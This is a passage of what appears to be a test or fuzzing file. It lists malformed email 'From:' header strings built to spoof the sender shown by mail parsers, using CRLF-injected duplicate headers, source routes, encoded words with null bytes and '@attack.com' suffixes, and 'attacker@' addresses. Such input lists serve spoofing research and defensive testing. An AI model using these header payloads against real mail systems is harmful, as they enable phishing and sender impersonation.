"From:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + " From: \r\nFrom:(comment),wordword\r\n", + "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbQ0K=?=>\u0000@attack.com", + "From: ,,Alice@msn.com,,()\r\n", + "From :admin@icloud.com\r\n", + " Fromÿ: \r\nFrom:,,,\r\n", + "From: (\r\n),wordword(\r\n)(\r\n),\r\n", + "From: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", + " Fromÿ: \r\nFrom:(),webmaster@sina.cn,\r\n", + " From:,()(comment),(\r\n)\r\n", + " Fromÿ: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbQ0K=?=>\u0000@attack.com", + " From:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + " Fromÿ: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From :word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBmb3htYWlsLmNvbSxhdHRhY2tlckAxMzkuY29tDQo==?=>", + " From: \r\nFrom:,hr@live.com,hr@126.com\r\n", + "From:Mike@163.com,(comm\r\nent)\r\n", + "From: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + " From:admin@live.com\r\n", + "From:attacker@ymail.com.cn\r\n", + "From: attacker@outlook.com\r\n", + "From: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + "From: admin@china.com,,,\r\n", + "From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + "From :(hi),(),,,word()(\r\n)()\r\n", + "From :,security@china.com\r\n", + "From: \r\nFrom:webmaster@139.com\r\n", + " Fromÿ: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", + " From:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZDxCb2JAYWxpeXVuLmNvbT4oY29tbQ0KZW50KSwoKSwoDQopDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:security@china.com,,\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + "From:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + "From :attacker@126.com\r\n", + "From :,webmaster@sina.cn,,,(\r\n)\r\n", + " Fromÿ: \r\nFrom:,attacker@sina.com,(hi)\r\n", + " Fromÿ: \r\nFrom:wordword(\r\n)(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206a2V5QDEyNi5jb20+DQo==?=>", + " FrOM: \r\nFrom:admin@live.com,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpockBzb2h1LmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + "From: (comm\r\nent)(hi),key@msn.com\r\n", + "From:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + " From: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", + " FrOM: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + "From: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + "From :Bob@sohu.com\r\n", + " Fromÿ: \r\nFrom:(\r\n),key@qq.com,\r\n", + "From: Alice@foxmail.com,attacker@139.com\r\n", + "From: \r\nFrom:(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsKCksKGhpKSwsLGtleUBob3RtYWlsLmNvbSwNCg===?=>", + "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbSwsDQo==?=>", + "From: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + "From :webmaster@qq.com,()\r\n", + "From: Bob@sohu.com,Mike@qq.com\r\n", + "From: <=?utf-8?RnJvbTooDQopLChoaSksKCksKGNvbW0NCmVudCksPGFkbWluQGFsaXl1bi5jb20+DQo==?=>", + "From: \r\nFrom:Mike@msn.com\r\n", + " From: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + "From:<@qq.com:@163.com:Mike@163.com>\r\n", + " From: \r\nFrom:wordwordword(comment)\r\n", + "From: (\r\n),(hi),(),(comm\r\nent),\r\n", + "From :word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + " FrOM: \r\nFrom:()\r\n", + " From:(comment),wordword\r\n", + "From:wordword().(hi)\r\n", + "From: admin@china.com\r\n", + " From:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From: key@hotmail.com\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)\r\n", + " From:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + "From: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + " Fromÿ: \r\nFrom:Bob@126.com\r\n", + " Fromÿ: \r\nFrom:key@hotmail.com\r\n", + "From:word(comm\r\nent),,(\r\n)\r\n", + "From: \r\nFrom:wordword(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20saHJAMTI2LmNvbQ0K=?=>", + "From: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + "From: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + "From: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", + " FrOM: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbSx3b3Jkd29yZHdvcmQoDQopPHdlYm1hc3RlckBjaGluYS5jb20+LChjb21tZW50KTxrZXlAbGl2ZS5jb20+KGhpKQ0K=?=>", + " From: \r\nFrom:admin@sina.com,(comment),\r\n", + "From: <=?utf-8?RnJvbTooKSw8QGEuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAMTM5LmNvbT4oY29tbQ0KZW50KSwsDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", + "From:(),webmaster@sina.cn,\r\n", + "From:(comm\r\nent)(hi),key@msn.com\r\n", + "From :()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + "From:key@outlook.com,(comm\r\nent)\r\n", + " FrOM: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSwoDQopPHdlYm1hc3RlckBjaGluYS5jb20+DQo==?=>\u0000@attack.com", + " From:Bob@sohu.com,security@sohu.com\r\n", + "From: key@foxmail.com,(\r\n)\r\n", + "From:()\r\n", + "From: Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + "From:(comment),wordword\r\n", + "From :word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + "From: \r\nFrom:,Bob@ymail.com\r\n", + "From:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + "From :word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + "From :key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQG1zbi5jb20+LDxAYS5jb206QGIuY29tOnNlY3VyaXR5QHNvaHUuY29tPg0K=?=>\u0000@attack.com", + "From :,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + " From: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + " From:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + " Fromÿ: \r\nFrom:Alice@163.com\r\n", + "From :(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbQ0K=?=>\u0000@attack.com", + "From: attacker@sohu.com,webmaster@foxmail.com\r\n", + " From:Alice@outlook.com\r\n", + " FrOM: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + "From:,(\r\n),hr@aliyun.com,\r\n", + "From: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + "From:,Mike@ymail.com\r\n", + " FrOM: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + " From: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + " Fromÿ: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBnbWFpbC5jb20saHJAaWNsb3VkLmNvbQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + " From: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", + " FrOM: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", + " Fromÿ: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", + " Fromÿ: \r\nFrom:Bob@139.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLigNCik8QWxpY2VAbXNuLmNvbT4saHJAeW1haWwuY29tDQo==?=>", + "From:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmhyQHFxLmNvbT4oDQopDQo==?=>\u0000@attack.com", + " From:webmaster@sina.com\r\n", + "From :,,,word(\r\n)\r\n", + "From: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", + " From:(comment),Mike@qq.com,()(hi)\r\n", + "From :key@sina.cn,\r\n", + "From: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + "From: attacker@126.com\r\n", + "From: \r\nFrom:security@china.com,,\r\n", + "From:,(\r\n)\r\n", + " From:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + "From:admin@qq.com\r\n", + " FrOM: \r\nFrom:,attacker@sina.com,(hi)\r\n", + " From:word.(\r\n),hr@ymail.com\r\n", + " From: \r\nFrom:,attacker@sina.com,(hi)\r\n", + "From:key@sina.cn,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAZ21haWwuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>", + " Fromÿ: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + "From :(comment),word(comm\r\nent),(),(\r\n)\r\n", + " FrOM: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", + "From: <=?utf-8?RnJvbTo8YWRtaW5AMTI2LmNvbT4sKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QG91dGxvb2suY29tPg0K=?=>\u0000@attack.com", + " From: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + " FrOM: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + " Fromÿ: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", + " FrOM: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8YWRtaW5AcXEuY29tPg0K=?=>\u0000@attack.com", + "From :(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + " FrOM: \r\nFrom:,(comment),(),word..(hi)\r\n", + "From: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxNjMuY29tPg0K=?=>\u0000@attack.com", + "From: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", + "From:,hr@aliyun.com\r\n", + "From :security@sina.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206YWRtaW5AZ21haWwuY29tPigNCikNCg===?=>", + "From: <=?utf-8?RnJvbTooaGkpLChjb21tDQplbnQpLHdvcmQoKS4oDQopPGF0dGFja2VyQHNpbmEuY24+DQo==?=>\u0000@attack.com", + "From:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + " From: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBnbWFpbC5jb20+KGhpKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmtleUB5bWFpbC5jb20uY24+KGNvbW0NCmVudCksQWxpY2VAeW1haWwuY29tLmNuLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGFsaXl1bi5jb20+KGhpKSwoDQopPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQDEzOS5jb20+DQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:,hr@126.com,(hi)\r\n", + "From: \r\nFrom:security@126.com\r\n", + "From: wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBzaW5hLmNvbSwoY29tbWVudCksDQo==?=>\u0000@attack.com", + " From:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + " From:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + "From: \r\nFrom:,,key@foxmail.com\r\n", + "From: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + "From: word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKCk8QGdtYWlsLmNvbTpAYi5jb206Qm9iQGljbG91ZC5jb20+LCw8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUB5bWFpbC5jb20uY24+LChoaSksKGNvbW1lbnQpDQo==?=>", + "From:wordword(\r\n)\r\n", + " Fromÿ: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + "From :(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTo8a2V5QGxpdmUuY29tPigpDQo==?=>\u0000@attack.com", + " From:,(comment),key@qq.com,(hi)\r\n", + " FrOM: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + " From:attacker@ymail.com.cn\r\n", + "From: \r\nFrom:attacker@163.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZDxCb2JAYWxpeXVuLmNvbT4oY29tbQ0KZW50KSwoKSwoDQopDQo==?=>", + " FrOM: \r\nFrom:,,,word(\r\n)\r\n", + "From: webmaster@gmail.com\r\n", + " Fromÿ: \r\nFrom:,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTpockBpY2xvdWQuY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+LChjb21tZW50KSwsKA0KKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmhyQHNpbmEuY24+KCksDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHNpbmEuY24sLCwoDQopDQo==?=>", + "From: attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + "From :webmaster@139.com\r\n", + "From:attacker@sohu.com,webmaster@foxmail.com\r\n", + "From: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + " From:(hi),admin@msn.com\r\n", + " FrOM: \r\nFrom:(),key@icloud.com,,,\r\n", + "From: <=?utf-8?RnJvbTo8c2VjdXJpdHlAZm94bWFpbC5jb20+KCkNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + " From:hr@gmail.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbQ0K=?=>\u0000@attack.com", + " From:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + "From :Alice@live.com\r\n", + "From: <=?utf-8?RnJvbTosLGtleUBmb3htYWlsLmNvbQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:key@icloud.com\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + " FrOM: \r\nFrom:key@sohu.com\r\n", + "From :webmaster@sina.com\r\n", + "From:,,(comment),webmaster@sina.cn,(hi)\r\n", + " From:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + "From: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", + "From :Bob@qq.com,wordwordwordword(hi)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAYWxpeXVuLmNvbSwoKSwsLHdvcmQ8YXR0YWNrZXJAZm94bWFpbC5jb20+DQo==?=>", + " From: \r\nFrom:admin@live.com,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphdHRhY2tlckAxMzkuY29tPg0K=?=>", + " FrOM: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + "From: ,webmaster@foxmail.com\r\n", + "From: wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbQ0K=?=>", + "From:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + " From: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTpockAxNjMuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosaHJAYWxpeXVuLmNvbQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLCgpLHdvcmQuLihoaSk8d2VibWFzdGVyQHRvcC5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBsaXZlLmNvbT4sd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckAxMjYuY29tPiw8QGEuY29tOkBiLmNvbTpBbGljZUAxMzkuY29tPihjb21tZW50KQ0K=?=>", + "From :Alice@163.com\r\n", + " FrOM: \r\nFrom:wordwordword(comment)\r\n", + "From :word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + "From: word<@qq.com:@163.com:key@126.com>\r\n", + "From:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + "From :wordword\r\n", + "From:", + "From: wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + " From: \r\nFrom:Alice@msn.com,\r\n", + " FrOM: \r\nFrom:webmaster@gmail.com\r\n", + "From:,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLHNlY3VyaXR5QHNpbmEuY29tLCx3b3Jkd29yZHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGdtYWlsLmNvbT4oaGkpLCgpPGhyQGNoaW5hLmNvbT4oY29tbQ0KZW50KQ0K=?=>", + " FrOM: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + " From: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + "From: wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + " From:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + " Fromÿ: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + "From: (),key@icloud.com,,,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBtc24uY29tPigNCiksTWlrZUBxcS5jb20sQWxpY2VAMTYzLmNvbSwoY29tbQ0KZW50KTxockB0b3AuY29tPigpLGtleUBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + "From: admin@sohu.com\r\n", + "From: webmaster@qq.com,()\r\n", + "From:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + "From:webmaster@gmail.com,key@126.com\r\n", + " FrOM: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + " From: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + "From:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + "From :,attacker@sina.com,(hi)\r\n", + "From:key@foxmail.com,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmhyQHFxLmNvbT4oDQopDQo==?=>", + " From: \r\nFrom:(),key@icloud.com,,,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBsaXZlLmNvbT4oKQ0K=?=>", + " FrOM: \r\nFrom:Bob@126.com\r\n", + "From: <=?utf-8?RnJvbTo8YWRtaW5AMTI2LmNvbT4sKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QG91dGxvb2suY29tPg0K=?=>", + " From:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + " From:webmaster@qq.com,()\r\n", + "From: attacker@163.com\r\n", + "From: key@icloud.com\r\n", + " From: \r\nFrom:,,,\r\n", + " From:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", + "From: webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPihoaSkNCg===?=>\u0000@attack.com", + "From: (comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCkoY29tbWVudCk8QHFxLmNvbTpAMTYzLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPiwNCg===?=>", + "From: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPHdlYm1hc3RlckAxMjYuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:hr@163.com\r\n", + " FrOM: \r\nFrom:security@126.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoDQopLCgNCiksLHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206Qm9iQGhvdG1haWwuY29tPigpDQo==?=>\u0000@attack.com", + "From :(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTM5LmNvbQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", + "From: word(\r\n)(\r\n)\r\n", + "From :Bob@sohu.com,security@sohu.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsKCksKGhpKSwsLGtleUBob3RtYWlsLmNvbSwNCg===?=>\u0000@attack.com", + " From:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + "From:admin@live.com,(\r\n)\r\n", + "From: ,hr@live.com,hr@126.com\r\n", + " From: \r\nFrom:webmaster@126.com\r\n", + " From: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + "From: (hi),admin@msn.com\r\n", + "From: Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGZveG1haWwuY29tPix3b3JkPGF0dGFja2VyQGxpdmUuY29tPix3b3JkKGNvbW1lbnQpPGhyQHNpbmEuY29tPihjb21tDQplbnQpDQo==?=>", + "From: \r\nFrom:hr@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8YXR0YWNrZXJAdG9wLmNvbT4sQWxpY2VAeW1haWwuY29tLHdlYm1hc3RlckBsaXZlLmNvbSxhZG1pbkBpY2xvdWQuY29tLHNlY3VyaXR5QHNvaHUuY29tDQo==?=>", + "From:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + "From:word(comm\r\nent)\r\n", + " FrOM: \r\nFrom:admin@sina.com,(comment),\r\n", + " Fromÿ: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", + "From: \r\nFrom:,hr@126.com,(hi)\r\n", + "From :,Bob@ymail.com\r\n", + " From: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + " From:Bob@qq.com,wordwordwordword(hi)\r\n", + " From:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + "From :,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + "From: ,,(comment),webmaster@sina.cn,(hi)\r\n", + " From:<@a.com:@b.com:security@qq.com>\r\n", + " FrOM: \r\nFrom:hr@gmail.com\r\n", + " Fromÿ: \r\nFrom:,Mike@icloud.com\r\n", + " From:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8a2V5QHNpbmEuY24+LHNlY3VyaXR5QHNpbmEuY24sKGNvbW1lbnQpPGF0dGFja2VyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAMTYzLmNvbQ0K=?=>", + "From:()(comment)\r\n", + "From: hr@foxmail.com,,\r\n", + " FrOM: \r\nFrom:key@msn.com\r\n", + "From: <=?utf-8?RnJvbTooaGkpLChjb21tDQplbnQpLHdvcmQoKS4oDQopPGF0dGFja2VyQHNpbmEuY24+DQo==?=>", + " From:(hi),,(hi),(hi)\r\n", + " FrOM: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", + " From: \r\nFrom:key@foxmail.com,(\r\n)\r\n", + " From: \r\nFrom:(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8a2V5QHNpbmEuY24+LHNlY3VyaXR5QHNpbmEuY24sKGNvbW1lbnQpPGF0dGFja2VyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAMTYzLmNvbQ0K=?=>\u0000@attack.com", + " From:webmaster@sina.com,Mike@ymail.com.cn\r\n", + "From:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + "From: 